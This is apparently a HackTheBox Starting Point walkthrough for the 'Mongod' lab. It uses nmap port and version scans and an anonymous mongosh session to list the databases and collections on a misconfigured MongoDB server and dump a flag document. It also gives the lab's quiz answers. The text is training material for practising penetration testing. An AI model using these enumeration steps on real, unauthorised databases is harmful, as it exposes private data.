Mongod

CHALLENGE INFORMATION

	Platform: HackTheBox Collection: Starting Point Tier: 0 Machine: Mongod Released: 29/09/2022

MACHINE SYNOPSIS

Mongod is a very easy Linux machine which introduces the MongoDB database and how to use the MongoDB shell utility to interact with it. Misconfiguring the database by leaving the anonymous user enabled, allows exploitation and full enumeration of the database.

Preparations

There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is established, we spawn the target machine.

Additionally – even though not required – we can set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$

We can use the unset command to remove the variable when it is no longer needed.

user@kali:~$ unset rhost

Task-1

Question: How many TCP ports are open on the machine?

2

We use Nmap to scan all TCP ports on the target machine.

user@kali:~$ nmap -p- $rhost 
...
PORT      STATE SERVICE
22/tcp    open  ssh
27017/tcp open  mongod
...
user@kali:~$

Task-2

Question: Which service is running on port 27017 of the remote host?

mongodb 3.6.8

We run nmap with the -sV flag to enable version detection.

user@kali:~$ nmap -sV -p 27017 $rhost 
...
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 3.6.8
...
user@kali:~$

Task-3

Question: What type of database is MongoDB? (Choose: SQL or NoSQL)

nosql

MongoDB is a document-oriented database that stores data in flexible, JSON-like documents rather than in tables with rows and columns. This architecture classifies it as a NoSQL database.

Task-4

Question: What is the command name for the Mongo shell that is installed with the mongodb-clients package?

mongo

The MongoDB shell command is mongo. On newer systems, the mongosh command provides an enhanced interactive shell with improved features and syntax.

Task-5

Question: What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;)

show dbs

First, we connect to the Mongo database. Then we use the help command to review the available options.

user@kali:~$ mongosh --host $rhost --port 27017
...
Connecting to:  mongodb://10.129.228.30:27017/?directConnection=true&appName=mongosh+1.8.0
...
test> help

  Shell Help:
    use         Set current database
    show        'show databases'/'show dbs': Print a list of all available databases.
                'show collections'/'show tables': Print a list of all collections for current database.
...
test>

As indicated in the help output – “show databases/show dbs: Print a list of all available databases” – either show databases or show dbs will list the databases. We use show dbs:

test> show dbs
admin                  32.00 KiB
config                 72.00 KiB
local                  72.00 KiB
sensitive_information  32.00 KiB
users                  32.00 KiB
test>

Task-6

Question: What is the command used for listing out the collections in a database? (No need to include a trailing ;)

show collections

The help output from the previous task indicates that show collections (or show tables) will print a list of all collections for the current database.

To enumerate all collections on the target system, we use the use command to switch between databases. The flag collection in the sensitive_information database appears especially promising.

test> use admin
switched to db admin
admin> show collections
system.version
admin> use config
switched to db config
config> show collections
system.sessions
config> use local
switched to db local
local> show collections
startup_log
local> use sensitive_information
switched to db sensitive_information
sensitive_information> show collections
flag
sensitive_information> use users
switched to db users
users> show collections
ecommerceWebapp
users>

Task-7

Question: What is the command used for dumping the content of all the documents within the collection named flag in a format that is easy to read?

db.flag.find().pretty()

From the previous task, we identified that the flag collection resides in the sensitive_information database. We switch to that database and dump its contents using the find() method with the pretty() modifier for readable formatting.

users> use sensitive_information
switched to db sensitive_information
sensitive_information> show collections
flag
sensitive_information> db.flag.find().pretty()
[
  {
    _id: ObjectId("630e3dbcb82540ebbd1748c5"),
    flag: '<redacted-flag>'
  }
]
sensitive_information>

Submit The Flag

Question: Submit root flag

<redacted-flag>

We obtained the flag in the previous task by querying the flag collection within the sensitive_information database.

Make sure to terminate the target box before you continue with the next machine!